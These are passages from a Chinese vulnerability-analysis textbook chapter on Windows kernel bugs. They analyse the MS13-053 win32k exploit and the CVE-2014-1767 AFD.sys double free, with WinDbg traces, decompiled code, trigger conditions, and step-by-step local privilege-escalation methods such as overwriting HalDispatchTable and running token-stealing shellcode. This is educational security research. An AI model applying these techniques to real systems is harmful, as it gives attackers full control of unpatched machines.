    {"text": "图9-27 根据不同的系统版本设置不同的跳转指令 （2） 创建 3 个 PATHRECORD，第 1 个是指向自身的 PathRecord，这会使漏洞函数在遍历链表时造 成死循环，第 2 个是用于退出的 ExploitRecordExit，第 3 个是用于利用的 ExploitRecord，它的 prev 指针指向 WriteToHalDispatchTable 地址（HalDispatchTable+4），在 9.3 节中我们已经提到 过 HalDispatchTable 的用途，这里正是我们将要写入任意地址的地方，最后用于退出的 ExploitRecordExit 包含第 1 步中的跳转指令 MAGIC_DWORD（jmp [esp+0x64]），如图 9-28 和 图 9-29 所示。 432 漏洞战争：软件漏洞分析精要 图9-28 分配3个PATHRECORD 图9-29 修改链表指针实现任意写地址 （3） 用 PathRecord 中包含的点信息（比如坐标、样式，其中就包含一些垃圾信息 0x42424242）生成 大量贝济埃曲线（Bézier Curves），以便后面在对贝济埃曲线进行直线化（flattening）时使用到 我们前面创建的 PathRecord 相关信息，相当于填充 freelist 中未初始化的内存，如图 9-30 和图 9-31 所示。 图9-30 生成大量贝济埃曲线，以便在对其直线化时调用漏洞函数 第9章 内核漏洞分析 433 图9-31 用构造的点信息填充freelist中未初始化的内存 （4） 创建大量圆角矩形区域以消耗内存，最终使得 AllocObject 函数分配失败，进而引起 newpathalloc 分配失败，为后面的利用构造条件，如图 9-32 所示。 图9-32 通过消耗内存使得newpathalloc分配失败 之所以这样做，是因为最终会导致在调用EPATHOBJ::createrec中的newpathalloc函数时分配内存 失败，然后会调用到EPATHOBJ::reinit函数，接着依次调用vFreeBlocks→freepathalloc，最终将用户 控制的内存添加到freelist中，如图9-33所示，到这里就将freelist_node->next指向了用户可控制的缓冲 区。 434 漏洞战争：软件漏洞分析精要 图9-33 将freelist_node->next指向用户可控制的缓冲区 第9章 内核漏洞分析 435 （5） 创建看门狗线程，等待互斥体超时，然后将 PathRecord 的 next 指针指向 ExploitRecord，使得链 表遍历退出死循环，如图 9-34 所示。"},
    {"text": "图9-35 修改PathRecord的next指针指向ExploitRecord 回头再看下图9-26所示的漏洞代码： if ( EPATHOBJ::newpathrec(this, &new_pathrecord, &v27, 0x7FFFFFFFu) == 1 ) { freelist_node = new_pathrecord; v4 = a2; new_pathrecord->prev = a2->prev; // a2->prev = ExploitRecord-prev = HalDispatchTable+4 v5 = (int)&freelist_node->numPoints; freelist_node->numPoints = 0; freelist_node->flags = a2->flags & 0xFFFFFFEF; if ( freelist_node->prev ) 436 漏洞战争：软件漏洞分析精要 freelist_node->prev->next = freelist_node; // freelist_node->prev->next 相当于 freelist_node->prev （因为 next 在 pathrecord 结构中的偏移量为 0 ），即 *(HalDispatchTable+4) = ExploitRecord->next （即 freelist_node ），即将 jmp [esp+0x64] 指令写入 HalDispatchTable+4 的地址 处，如图 9-36 所示。 图9-36 漏洞利用原理图 （6）调用 NtQueryIntervalProfile 去执行 Shellcode，如果利用漏洞成功写入任意地址到 HalDispatchTable， 那么最终会执行 Shellcode，将 System 进程的 token 赋予当前进程，最终实现本地提权，如图 9-37 和图 9-38 所示。 图9-37 调用NtQueryIntervalProfile执行Shellcode 第9章 内核漏洞分析 437 图9-38 成功实现本地提权 在微软官网上搜索MS13-053补丁，发现它并没有提供Windows 7的补丁，只有Windows 7 SP1版 本的，需要升级系统到SP1后再打补丁。"},
    {"text": "9.7 CVE-2014-1767 Windows AFD.sys 双重释放漏洞 （Pwn2Own 2014） 9.7.1 Pwnie Awards 2014“最佳提权漏洞奖”得主 在著名黑客大赛Pwn2Own 2014上，Siberas安全团队利用CVE-2014-1767 Windows AFD.sys 双重 释放漏洞进行内核提权，以此绕过Windows 8.1平台上的IE11沙箱（保护模式），随后该漏洞也因此 获得2014年黑客奥斯卡Pwnie Awards的“最佳提权漏洞奖”。 后来，Siberas团队在其官网公布了此 漏 洞 的 细 节 及 利 用 方 法 （ 详 见 ： http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_ escalation.pdf），它是AFD.sys驱动上的一处双重释放漏洞，通杀Windows系统，影响较大。"},
    {"text": "1. IO 控制码 0x1207F 为了跟踪IO控制码0x1207F对应的处理函数，首先在WinDbg中针对nt!NtDeviceIoControlFile设置 条件断点，当其在处理IO控制码0x1207F时断下，由于IO控制码位于NtDeviceIoControlFile第6个参数， 即esp+18，因此条件断点设置如下： kd> bp nt!NtDeviceIoControlFile \".if (poi(esp+18) = 0x1207F){}.else{gc;}\" kd> g nt!NtDeviceIoControlFile: 83e5f482 8bff mov edi,edi kd> dd esp+18 l1 8a72dd20 0001207f 接下来，使用wt（Watch and Trace data）命令追踪后续各函数的调用过程： kd> wt Tracing nt!NtDeviceIoControlFile to return address 83c4542a Cannot find hal!ExReleaseFastMutex 14 0 [ 0] nt!NtDeviceIoControlFile 3 0 [ 1] nt!IopXxxControlFile 21 0 [ 2] nt!_SEH_prolog4 ……省略部分内容…… 93 206 [ 1] nt!IopXxxControlFile 3 0 [ 2] afd!AfdFastIoDeviceControl 21 0 [ 3] afd!_SEH_prolog4 ……省略部分内容…… 25 0 [ 3] nt!IofCallDriver 22 0 [ 4] afd!AfdDispatchDeviceControl 3 0 [ 5] afd!AfdTransmitFile 21 0 [ 6] afd!_SEH_prolog4 66 21 [ 5] afd!AfdTransmitFile 3 0 [ 6] afd!AfdTliGetTpInfo 21 0 [ 7] afd!_SEH_prolog4 442 漏洞战争：软件漏洞分析精要 8 21 [ 6] afd!AfdTliGetTpInfo 8 0 [ 7] afd!ExAllocateFromNPagedLookasideList ……省略部分内容…… 可以看到当IOCTL为0x1207F时，afd驱动中的AfdTransmitFile函数会被调用，通过Google可以搜 索到函数原型： NTSTATUS AfdTransmitFile ( pIRP, pIoStackLocation ) IRP与IoStackLocation结构各字段定义可通过dt命令查看： kd> dt _IO_STACK_LOCATION win32k!_IO_STACK_LOCATION +0x000 MajorFunction : UChar +0x001 MinorFunction : UChar +0x002 Flags : UChar +0x003 Control : UChar +0x004 Parameters : <unnamed-tag> --------------------------------------------------------------------------------- // Parameters for IRP_MJ_DEVICE_CONTROL and IRP_MJ_INTERNAL_DEVICE_CONTROL struct { ULONG OutputBufferLength ; ULONG POINTER_ALIGNMENT InputBufferLength; ULONG POINTER_ALIGNMENT IoControlCode; PVOID Type3InputBuffer ; } DeviceIoControl; --------------------------------------------------------------------------------- +0x014 DeviceObject : Ptr32 _DEVICE_OBJECT +0x018 FileObject : Ptr32 _FILE_OBJECT +0x01c CompletionRoutine : Ptr32 long +0x020 Context : Ptr32 Void kd> dt _IRP win32k!_IRP +0x000 Type : Int2B +0x002 Size : Uint2B +0x004 MdlAddress : Ptr32 _MDL +0x008 Flags : Uint4B +0x00c AssociatedIrp : <unnamed-tag> +0x010 ThreadListEntry : _LIST_ENTRY +0x018 IoStatus : _IO_STATUS_BLOCK +0x020 RequestorMode : Char +0x021 PendingReturned : UChar +0x022 StackCount : Char 第9章 内核漏洞分析 443 +0x023 CurrentLocation : Char +0x024 Cancel : UChar +0x025 CancelIrql : UChar +0x026 ApcEnvironment : Char +0x027 AllocationFlags : UChar +0x028 UserIosb : Ptr32 _IO_STATUS_BLOCK +0x02c UserEvent : Ptr32 _KEVENT +0x030 Overlay : <unnamed-tag> +0x038 CancelRoutine : Ptr32 void +0x03c UserBuffer : Ptr32 Void +0x040 Tail : <unnamed-tag> 然后，用IDA的F5插件反编译Afd.sys中的AfdTransmitFile函数，并分别将a1与a2参数重命名为 pIRP与pIoStackLocation，代码分析如图9-39所示。"},
    {"text": "图9-39 AfdTransmitFile函数 在Windows内存管理中，系统存在一个叫Lookaside List（在《软件调试》一书中将其称为“旁 视列表”，而在《0day安全：软件漏洞分析技术》中将其称为“快表”）的结构，其作用是提高系 统内存分配效率。"},
    {"text": "在Lookaside列表初始化时，它会向系统申请一块比较大的内存，之后程序每次申 444 漏洞战争：软件漏洞分析精要 请内存时，都会优先从Lookaside中申请内存，只有当Lookaside中的内存不够用时，才向系统申请更 多的内存，这样既可以节省分配时间，又能够避免产生过多的内存碎片。 关于Lookaside List的更多 信 息 可 以 参 考 文 章 《 使 用 Lookaside List 分 配 内 存 》 ： http://www.mouseos.com/windows/kernel/ lookaside.html。 接 下 来 ， 要 调 用 的 AfdTliGetTpInfo 函 数 中 ， 正 是 使 用 到 了 上 面 讲 的 Lookaside List ， 在 AfdTliGetTpInfo函数上下断点，然后逐步跟踪下去。"},
    {"text": "kd> u afd!AfdTliGetTpInfo afd!AfdTliGetTpInfo: 8e6ed33d 6a0c push 0Ch 8e6ed33f 6898296e8e push offset afd!__safe_se_handler_table+0x688 (8e6e2998) 8e6ed344 e8c75ffeff call afd!_SEH_prolog4 (8e6d3310) 8e6ed349 8bf9 mov edi,ecx 8e6ed34b a1043f6e8e mov eax,dword ptr [afd!AfdGlobalData (8e6e3f04)] 8e6ed350 0578010000 add eax,178h 8e6ed355 50 push eax 8e6ed356 e8ae62feff call afd!ExAllocateFromNPagedLookasideList (8e6d3609) // 跟进 ExAllocateFromNPagedLookasideList 函数 afd!ExAllocateFromNPagedLookasideList: 8e6d3609 8bff mov edi,edi 8e6d360b 55 push ebp 8e6d360c 8bec mov ebp,esp 8e6d360e 56 push esi 8e6d360f 8b7508 mov esi,dword ptr [ebp+8] 8e6d3612 ff460c inc dword ptr [esi+0Ch] 8e6d3615 8bce mov ecx,esi 8e6d3617 ff1588126e8e call dword ptr [afd!_imp_InterlockedPopEntrySList (8e6e1288)] 8e6d361d 85c0 test eax,eax 8e6d361f 750f jne afd!ExAllocateFromNPagedLookasideList+0x27 (8e6d3630) 8e6d3621 ff7620 push dword ptr [esi+20h] 8e6d3624 ff4610 inc dword ptr [esi+10h] 8e6d3627 ff7624 push dword ptr [esi+24h] 8e6d362a ff761c push dword ptr [esi+1Ch] 8e6d362d ff5628 call dword ptr [esi+28h] ds:0023:8670b588={ afd!AfdAllocateTpInfo (8e70af71)} AfdAllocateTpInfo函数的原型如下，用于分配TpInfo结构： TpInfo * AfdAllocateTpInfo(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag) 查看afd!AfdAllocateTpInfo调用的参数（当前栈顶数据），可以看到分配的TpInfo结构大小为 第9章 内核漏洞分析 445 0x108： kd> dd esp l3 947bbaf8 00000000 00000108 c6646641 可以看出，ExAllocateFromNPagedLookasideList函数是分配TpInfo结构内存的，因此我们可以在 IDA 的 F5 反 编 译 代 码 中 将 ExAllocateFromNPagedLookasideList 返 回 值 v2 重 命 名 为 tpinfo ， 而 AfdTliGetTpInfo函数最终返回设置成TpInfo结构指针。"},
    {"text": "PVOID __fastcall AfdTliGetTpInfo(unsigned int a1) { unsigned int TpInfoElementCount; // edi@1 PVOID tpinfo; // eax@1 PVOID v3; // esi@1 PVOID result; // eax@2 TpInfoElementCount = a1; // 从 non-paged 链节点里分配内存，返回 TpInfo 结构指针 tpinfo = ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&AfdGlobalData[6].ContentionC ount); v3 = tpinfo; if ( tpinfo ) { // 设置 TpInfo 结构数据 *((_DWORD *)tpinfo + 2) = 0; *((_DWORD *)tpinfo + 3) = 0; *((_DWORD *)tpinfo + 4) = (char *)tpinfo + 12; *((_DWORD *)tpinfo + 5) = 0; *((_DWORD *)tpinfo + 6) = (char *)tpinfo + 20; *((_DWORD *)tpinfo + 13) = 0; *((_BYTE *)tpinfo + 51) = 0; *((_DWORD *)tpinfo + 9) = 0; *((_DWORD *)tpinfo + 11) = -1; *((_DWORD *)tpinfo + 15) = 0; *((_DWORD *)tpinfo + 1) = 0; if ( TpInfoElementCount > AfdDefaultTpInfoElementCount )// TpInfoElementCount > 3，因 为这里的代码，所以将 v1 重命名为 TpInfoElementCount { // 这里分配的字节数是 0x18 * count ，也就是说， TpInfoElement 结构大小为 0x18 // 分配后的 pTpInfoElement 指针存储在 tpinfo+0x20 的位置 *((_DWORD *)tpinfo + 0x20) = ExAllocatePoolWithQuotaTag((POOL_TYPE)0x10u, 0x18 * 446 漏洞战争：软件漏洞分析精要 TpInfoElementCount, 0xC6646641u); *((_BYTE *)v3 + 50) = 1; } result = v3; // 返回 TpInfo 结构指针 } else { result = 0; } 继续分析AfdTransmitFile函数接下来的代码： if ( *(HIDWORD(v3) + 8) & 0x200 ) // InputBufferLength & 0x200 > 0 LODWORD(v3) = AfdTliGetTpInfo(3u); // 从 wt 命令结果可以看到 AfdTliGetTpInfo 函数被调用 else LODWORD(v3) = AfdTdiGetTpInfo(3); v5 = v3; // 此时 v5 和 v3 都指向 TpInfo 结构 Entry = v3; if ( !v3 ) goto LABEL_18; v51 = (v3 + 0x28); // v51 = tpinfo + 0x28 *(v3 + 0x28) = 0; v44 = v3 + 0x38; v6 = v33; *(v3 + 0x38) = v33; if ( v6 ) v54 = 1; else *(v3 + 0x38) = AfdTransmitIoLength; // tpinfo+0x38 = AfdTransmitIoLength v7 = Length; if ( Length ) { v8 = *v51; // 可以看出 v51 为 TpInfoElementCount ，所以用来乘以 TpInfoElement 结构大小 0x18 // 因此 tpinfo + 0x28 = TpInfoElementCount ，而 v5+0x20 代表 TpInfoElement 数组，所以这里 v50 指向的就是具体的 TpInfoElement 数组元素 v50 = *(v5 + 0x20) + 0x18 * *v51; // v50 = TpInfoElement v9 = v50; *v51 = v8 + 1; v10 = VirtualAddress; *(v9 + 8) = VirtualAddress; // TpInfoElement + 8 = VirtualAddress *(v9 + 4) = v7; // TpInfoElement + 4 = length 第9章 内核漏洞分析 447 *v9 = 1; if ( v39 & 0x10 ) { *v9 = 0x80000001u; // TpInfoElement + 0 = 0x80000001 ，类似状态码 status LODWORD(v3) = IoAllocateMdl(v10, v7, 0, 1u, 0); *(v9 + 0xC) = v3; // TpInfoElement + 0xC = pMDL ，指向分配的内存描述符表 MDL if ( !v3 ) goto LABEL_18; MmProbeAndLockPages(v3, *(v2 + 0x20), 0); // 锁定无效内存范围 0x13371000~0x13371000+0x16ecca ，最终触发异常 } } 根据前面加粗代码的信息，我们大致可以绘制出TpInfo和TpInfoElement的数据结构。 struct TpInfo｛ …… TpInfoElement *pTpInfoElement; // + 0x20，TpInfoElement 数组指针 …… ULONG TpInfoElementCount; // +0x28，TpInfoElement 数组元素个数 …… ULONG AfdTransmitIoLength; // +0x38，传输的默认 IO 长度 …… ｝ struct TpInfoElement{ INT status; // +0x00，状态码 ULONG length; // +0x04，长度 PVOID VirtualAddress; // +0x08，虚拟地址 PVOID *pMDL; // +0x0C，指向 MDL 内存描述符表的指针 ULONG Reserved1 ; // +0x10，未知 ULONG Reserved2 ; // +0x14，未知 } 在 AfdTransmitFile 函 数 中 调 用 IoAllocateMdl 分 配 完 内 存 后 ， 单 步 跟 踪 下 去 ， 它 会 调 用 MmProbeAndLockPages去锁定内存范围0x13371000~0x13371000+0x16ecca（均是由PoC中的代码设置 的值），该内存范围属于无效地址，因此会触发异常。"},
    {"text": "kd> p afd!AfdTransmitFile+0x177: 8e707faf 6a00 push 0 kd> p afd!AfdTransmitFile+0x179: 448 漏洞战争：软件漏洞分析精要 8e707fb1 0fb64b20 movzx ecx,byte ptr [ebx+20h] kd> p afd!AfdTransmitFile+0x17d: 8e707fb5 51 push ecx kd> p afd!AfdTransmitFile+0x17e: 8e707fb6 50 push eax kd> p afd!AfdTransmitFile+0x17f: 8e707fb7 ff1578b26f8e call dword ptr [afd!_imp__MmProbeAndLockPages (8e6fb278)] kd> dd esp l3 94953b3c 86e5fa20 00000001 00000000 kd> dt _MDL 86e5fa20 hal!_MDL +0x000 Next : (null) +0x004 Size : 1500 +0x006 MdlFlags : 0 +0x008 Process : (null) +0x00c MappedSystemVa : (null) +0x010 StartVa : 0x13371000 +0x014 ByteCount : 0x16ecca +0x018 ByteOffset : 0x337 kd> dd 13371000 13371000 ???????? ???????? ???????? ???????? 13371010 ???????? ???????? ???????? ???????? 13371020 ???????? ???????? ???????? ???????? 13371030 ???????? ???????? ???????? ???????? 13371040 ???????? ???????? ???????? ???????? 13371050 ???????? ???????? ???????? ???????? 13371060 ???????? ???????? ???????? ???????? 13371070 ???????? ???????? ???????? ???????? 触发异常后，程序会去调用AfdReturnTpInfo函数，如图9-40所示。 在AfdReturnTpInfo下断点，然后单步执行MmProbeAndLockPages函数后，确定会触发异常直接 断下来： kd> bl 0 e 8e707e38 0001 (0001) afd!AfdTransmitFile 1 e 8e724e6a 0001 (0001) afd!AfdReturnTpInfo kd> p afd!AfdTransmitFile+0x17f: 第9章 内核漏洞分析 449 8e707fb7 ff1578b26f8e call dword ptr [afd!_imp__MmProbeAndLockPages (8e6fb278)] kd> p Breakpoint 1 hit afd!AfdReturnTpInfo : 8e724e6a 8bff mov edi,edi 图9-40 调用AfdReturnTpInfo函数 在AfdReturnTpInfo函数中，由于在释放MDL资源后，未对TpInfoElement+0xC指针做清空处理， 导致其成为“悬挂指针”（Dangling Pointer），如图9-41所示。"},
    {"text": "如果此时AfdReturnTpInfo函数再被调用，那么悬挂指针TpInfoElement+0xC 将会被IoFreeMdl函 数用于释放内存，最终造成“Double Free”双重释放漏洞。"},
    {"text": "2. IO 控制码 0x120C3 采 用 前 面 的 方 法 ， 追 踪 IO 控 制 码 0x120C3 对 应 的 处 理 函 数 ， 可 以 发 现 它 调 用 的 是 afd!AfdTransmitPackets函数： kd> bp nt!NtDeviceIoControlFile \".if (poi(esp+18) = 0x120C3){wt;}.else{gc;}\" kd> g Tracing nt!NtDeviceIoControlFile to return address 83c5a42a Cannot find hal!ExReleaseFastMutex 14 0 [ 0] nt!NtDeviceIoControlFile 450 漏洞战争：软件漏洞分析精要 3 0 [ 1] nt!IopXxxControlFile 21 0 [ 2] nt!_SEH_prolog4 ……省略部分内容…… 25 0 [ 3] nt!IofCallDriver 22 0 [ 4] afd!AfdDispatchDeviceControl 3 0 [ 5] afd!AfdTransmitPackets 21 0 [ 6] afd!_SEH_prolog4 67 21 [ 5] afd!AfdTransmitPackets 3 0 [ 6] afd!AfdTliGetTpInfo 图9-41 AfdReturnTpInfo函数 afd!AfdTransmitPackets函数的两个参数分别为pIRP与pIoStackLocation，因此在IDA中将其a1和a2 参数分别重命名为pIRP与pIoStackLocation，从F5反编译的代码可以发现它与AfdTransmitFile函数开 头部分有些类似，如图9-42所示。 第9章 内核漏洞分析 451 图9-42 AfdTransmitPackets函数 452 漏洞战争：软件漏洞分析精要 通过WinDbg动态调试判断上面一些条件语句的跳转情况，再结合IDA静态分析，可以知道若要 成功调用到AfdTdiGetTpInfo函数（之所以要调用该函数，主要是用于实现AfdReturnTpInfo的再次调 用，以造成双重释放漏洞，具体见后面分析）必须满足以下条件： InputBufferLength >= 0x10 Type3InputBuffer & 3 == 0 *(Type3InputBuffer + 0xC) & 0xFFFFFFC8 == 0 *(Type3InputBuffer + 0xC) & 0x30 != 0x30 *Type3InputBuffer != 0 *(Type3InputBuffer + 4) != 0 *(Type3InputBuffer + 4) <= 0xAAAAAAA 关于AfdTliGetTpInfo函数，前面已经逆向分析过，它会调用ExAllocatePoolWithQuotaTag分配* （ Type3InputBuffer + 4 ） 个 TpInfoElement 所 需 要 的 内 存 。 在 PoC 中 是 设 置 为 0xAAAAAAA 个 TpInfoElement，而每个TpInfoElement结构占0x18字节，因此共需要申请内存 0x18 * 0xAAAAAAA = 0xFFFFFFF0 ， 这 么 大 的 内 存 申 请 在 32 位 系 统 上 显 然 是 不 会 成 功 的 ， 会 触 发 异 常 再 次 进 入 到 AfdReturnTpInfo函数中。 在AfdTliGetTpInfo和AfdReturnTpInfo下断点，然后单步跟踪上述过程： kd> p afd!AfdTliGetTpInfo+0x69: 8e4da3a6 ff151ce24c8e call dword ptr [afd!_imp__ExAllocatePoolWithQuotaTag (8e4ce21c)] kd> dd esp l4 8a9b1b0c 00000010 fffffff0 c6646641 04d611f8 // 申请过大的内存触发异常 kd> p Breakpoint 0 hit // 调用异常处理函数 AfdReturnTpInfo afd! AfdReturnTpInfo : 8e4f7e6a 8bff mov edi,edi 进入AfdReturnTpInfo函数后，它会再次调用以下代码，对前面已释放过内存的*（TpInfoElement + 0xC）再次进行释放，导致双重释放漏洞的发生。 IoFreeMdl(*(TpInfoElement + 0xC)); 对AfdReturnTpInfo，跟进第二次调用AfdReturnTpInfo的过程，可以发现它调用IoFreeMdl函数所 释放的内存正是前面已经被释放过的，单步执行IoFreeMdl函数后就触发了Double Free漏洞，导致系 统蓝屏，如图9-43所示。 kd> bl 0 e 8e4f7e6a 0001 (0001) afd!AfdReturnTpInfo kd> g Breakpoint 0 hit afd!AfdReturnTpInfo: 第9章 内核漏洞分析 453 8e4f7e6a 8bff mov edi,edi kd> g Breakpoint 0 hit afd!AfdReturnTpInfo: 8e4f7e6a 8bff mov edi,edi ……省略部分内容…… kd> p afd!AfdReturnTpInfo+0xa4: 8e4f7f0e ff770c push dword ptr [edi+0Ch] kd> p afd!AfdReturnTpInfo+0xa7: 8e4f7f11 ff15fce24c8e call dword ptr [afd!_imp__IoFreeMdl (8e4ce2fc)] kd> dd esp l1 8d223af4 857b2a20 kd> dt _MDL 857b2a20 nt!_MDL +0x000 Next : 0x8574de00 _MDL +0x004 Size : 1500 +0x006 MdlFlags : 0 +0x008 Process : (null) +0x00c MappedSystemVa : (null) +0x010 StartVa : 0x13371000 +0x014 ByteCount : 0x16ecca +0x018 ByteOffset : 0x337 kd> p *** Fatal System Error: 0x000000c2 (0x00000007,0x00001097,0x08BD0044,0x857B2A20) WARNING: This break is not a step/trace completion. The last command has been cleared to prevent accidental continuation of this unrelated event. Check the event, location and thread before resuming. Break instruction exception - code 80000003 (first chance) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. 454 漏洞战争：软件漏洞分析精要 图9-43 系统蓝屏 9.7.3 漏洞利用 为了成功利用漏洞，我们需要进行如下操作。"},
    {"text": "（1） 先创建一个对象去“占坑”填充第 1 次释放的内存，但该对象的大小必须与释放内存的大小一 致（由于用户可控制 MDL 大小，因此不成问题），Pwn2Own 比赛上 Siberas 团队使用的是 WokerFactory 对象，其大小是 0xA0。"},
    {"text": "Siberas团队之所以使用WokerFactory对象，是因为它刚好存在NtSetInformationWorkerFactory操 作 函 数 能 够 帮 助 实 现 任 意 内 容 写 任 意 地 址 ， 即 上 面 的 第 4 步 操 作 。"},
    {"text": "用 WinDbg 反 汇 编 第9章 内核漏洞分析 455 NtSetInformationWorkerFactory函数： kd> uf NtSetInformationWorkerFactory Flow analysis was incomplete, some code may be missing nt!NtSetInformationWorkerFactory: 83ca1ac0 6a38 push 38h 83ca1ac2 68f8f6c583 push offset nt! ?? ::FNODOBFM::`string'+0x6a98 (83c5f6f8) 83ca1ac7 e83ceafcff call nt!_SEH_prolog4 (83c70508) 83ca1acc 64a124010000 mov eax,dword ptr fs:[00000124h] 83ca1ad2 8a883a010000 mov cl,byte ptr [eax+13Ah] 83ca1ad8 884dd8 mov byte ptr [ebp-28h],cl 83ca1adb 33c0 xor eax,eax 83ca1add 8d7dc4 lea edi,[ebp-3Ch] 83ca1ae0 ab stos dword ptr es:[edi] 83ca1ae1 ab stos dword ptr es:[edi] 83ca1ae2 8b750c mov esi,dword ptr [ebp+0Ch] // esi = *arg2 83ca1ae5 6a08 push 8 83ca1ae7 5b pop ebx // ebx = 8 ……省略部分内容…… nt!NtSetInformationWorkerFactory+0x107: 83ca1bc8 8b4510 mov eax,dword ptr [ebp+10h] // eax = *arg3 83ca1bcb 84c9 test cl,cl 83ca1bcd 7414 je nt!NtSetInformationWorkerFactory+0x122 (83ca1be3) ……省略部分内容…… nt!NtSetInformationWorkerFactory+0x122: 83ca1be3 8b38 mov edi,dword ptr [eax] 83ca1be5 897dc4 mov dword ptr [ebp-3Ch],edi 83ca1be8 8b4004 mov eax,dword ptr [eax+4] 83ca1beb 8945c8 mov dword ptr [ebp-38h],eax nt!NtSetInformationWorkerFactory+0x12d: 83ca1bee c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh 83ca1bf5 6a00 push 0 83ca1bf7 8d45e4 lea eax,[ebp-1Ch] // 可控参数 object 83ca1bfa 50 push eax 83ca1bfb ff75d8 push dword ptr [ebp-28h] 83ca1bfe ff3558a4d383 push dword ptr [nt!ExpWorkerFactoryObjectType (83d3a458)] 83ca1c04 6a04 push 4 83ca1c06 ff7508 push dword ptr [ebp+8] // 句柄 Handler 83ca1c09 e8f7241800 call nt!ObReferenceObjectByHandle (83e24105) ============================================================= 456 漏洞战争：软件漏洞分析精要 kd> dd ebp+8 l1 939d7d24 00000078 // 引用的句柄值 kd> !handle 0x78 // 通过句柄查看对象类型，正是前面构造的 WorkerFactory 对象 processor number 0, process 856b8d40 PROCESS 856b8d40 SessionId: 1 Cid: 089c Peb: 7ffdd000 ParentCid: 0804 DirBase: 3ecdd420 ObjectTable: a021dd50 HandleCount: 30. Image: cve-2014-1767.exe Handle table at 97e0e000 with 30 Entries in use 0078: Object: 866d7aa8 GrantedAccess: 000f00ff Entry: 97e0e0f0 Object: 866d7aa8 Type: (855e5c90) TpWorkerFactory ObjectHeader: 866d7a90 (new version) HandleCount: 1 PointerCount: 2 ============================================================= 83ca1c0e 85c0 test eax,eax 83ca1c10 0f8cc1040000 jl nt!NtSetInformationWorkerFactory+0x616 (83ca20d7) nt!NtSetInformationWorkerFactory+0x155: 83ca1c16 3bf3 cmp esi,ebx // esi = *arg2 == 8 83ca1c18 7524 jne nt!NtSetInformationWorkerFactory+0x17d (83ca1c3e) nt!NtSetInformationWorkerFactory+0x159: 83ca1c1a 8b45e4 mov eax,dword ptr [ebp-1Ch] 83ca1c1d 8b00 mov eax,dword ptr [eax] 83ca1c1f 8b4010 mov eax,dword ptr [eax+10h] // eax = [eax+0x10] 83ca1c22 85ff test edi,edi // edi = *arg3 != 0 83ca1c24 7506 jne nt!NtSetInformationWorkerFactory+0x16b (83ca1c2c) ……省略部分内容…… nt!NtSetInformationWorkerFactory+0x16b: 83ca1c2c 89781c mov dword ptr [eax+1Ch],edi ds:0023:83d293bc={hal!HaliQuerySystemInformation (840378a2)} // 实现任意地址写任意内容，即 *(*(*object + 0x10) + 0x1C) = *arg3 ，这里可用于将 shellcode 地址写入 HaliQuerySystemInformation ， 以供后续调用 shellcode 执行 83ca1c2f 8b4de4 mov ecx,dword ptr [ebp-1Ch] 83ca1c32 e88c72fcff call nt!ObfDereferenceObject (83c68ec3) ……省略部分内容…… nt!NtSetInformationWorkerFactory+0x616: 83ca20d7 e871e4fcff call nt!_SEH_epilog4 (83c7054d) 83ca20dc c21000 ret 10h 可以发现当(arg2 == 8 && arg3 != 0)时，*(*(*object + 0x10) + 0x1C) = *arg3 就实现了任意地址写 第9章 内核漏洞分析 457 任意内容。"},
    {"text": "因此，此处可令arg3 = Shellcode，(*(*object + 0x10) + 0x1C) = (HalDispatchTable + 0x4) = HaliQuerySystemInformation，这样就可以将Shellcode地址写入HaliQuerySystemInformation，供后续 调用Shellcode执行。 再回头看第3步中NtQueryEaFile函数是如何将Shellcode复制到内核地址的，该函数原型如下： NTSTATUS (NTAPI *PNtQueryEaFile)( _In_ HANDLE FileHandle, _Out_ PIO_STATUS_BLOCK IoStatusBlock, _Out_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ PVOID EaList, // 关键参数 _In_ ULONG EaListLength, // 关键参数 _In_opt_ PULONG EaIndex OPTIONAL, _In_ BOOLEAN RestartScan ) 用WinDbg反汇编NtQueryEaFile函数： kd> uf NtQueryEaFile nt!NtQueryEaFile: 83dd4b40 6a4c push 4Ch 83dd4b42 680892c983 push offset nt! ?? ::FNODOBFM::`string'+0x55a8 (83c99208) 83dd4b47 e8bc69edff call nt!_SEH_prolog4 (83cab508) ……省略部分内容…… nt!NtQueryEaFile+0x82: 83dd4bc2 8b7520 mov esi,dword ptr [ebp+20h] // 长度 EaLength 83dd4bc5 3bf7 cmp esi,edi 83dd4bc7 0f84f5000000 je nt!NtQueryEaFile+0x181 (83dd4cc2) ……省略部分内容…… nt!NtQueryEaFile+0xb6: 83dd4bf7 68496f2020 push 20206F49h // tag 83dd4bfc 56 push esi // NumberOfBytes 83dd4bfd 57 push edi // PoolType 83dd4bfe e8ff9af1ff call nt!ExAllocatePoolWithQuotaTag (83cee702) ｛ // ExAllocatePoolWithQuotaTag 会再次调用 ExAllocatePoolWithTag ，其长度值会再加 4 ，即实际 上 ExAllocatePoolWithQuotaTag 分配的长度是 EaLength+4 ，在对释放的对象内存进行占坑时，应该将对象 大小 objectsize – 4 ，才能使大小相等，占坑成功。 nt!ExAllocatePoolWithQuotaTag: 83cee702 8bff mov edi,edi 83cee704 55 push ebp 458 漏洞战争：软件漏洞分析精要 83cee705 8bec mov ebp,esp ……省略部分内容…… 83cee741 83450c04 add dword ptr [ebp+0Ch],4 83cee745 eb06 jmp nt!ExAllocatePoolWithQuotaTag+0x4b (83cee74d) 83cee747 0fb6db movzx ebx,bl 83cee74a 83eb08 sub ebx,8 83cee74d ff7510 push dword ptr [ebp+10h] 83cee750 ff750c push dword ptr [ebp+0Ch] 83cee753 53 push ebx 83cee754 e852c40600 call nt!ExAllocatePoolWithTag (83d5abab) ……省略部分内容…… ｝ nt!NtQueryEaFile+0xc2: 83dd4c03 8945e0 mov dword ptr [ebp-20h],eax 83dd4c06 56 push esi // 长度，即可控参数 EaLength 83dd4c07 ff751c push dword ptr [ebp+1Ch] // 源地址，即可控参数 EaList 83dd4c0a 50 push eax // 目标地址，即上面 ExAllocatePoolWithQuotaTag 分配 的内核地址 83dd4c0b e8904beaff call nt!memcpy (83c797a0) // 用于复制 shellcode 到特定内核地址 ……省略部分内容…… 解决了上述问题，就可以用以往常见的内核漏洞利用方法，借助NtQueryIntervalProfile函数执行 Shellcode，将系统进程的token赋予当前进程，最终实现本地提权。"},
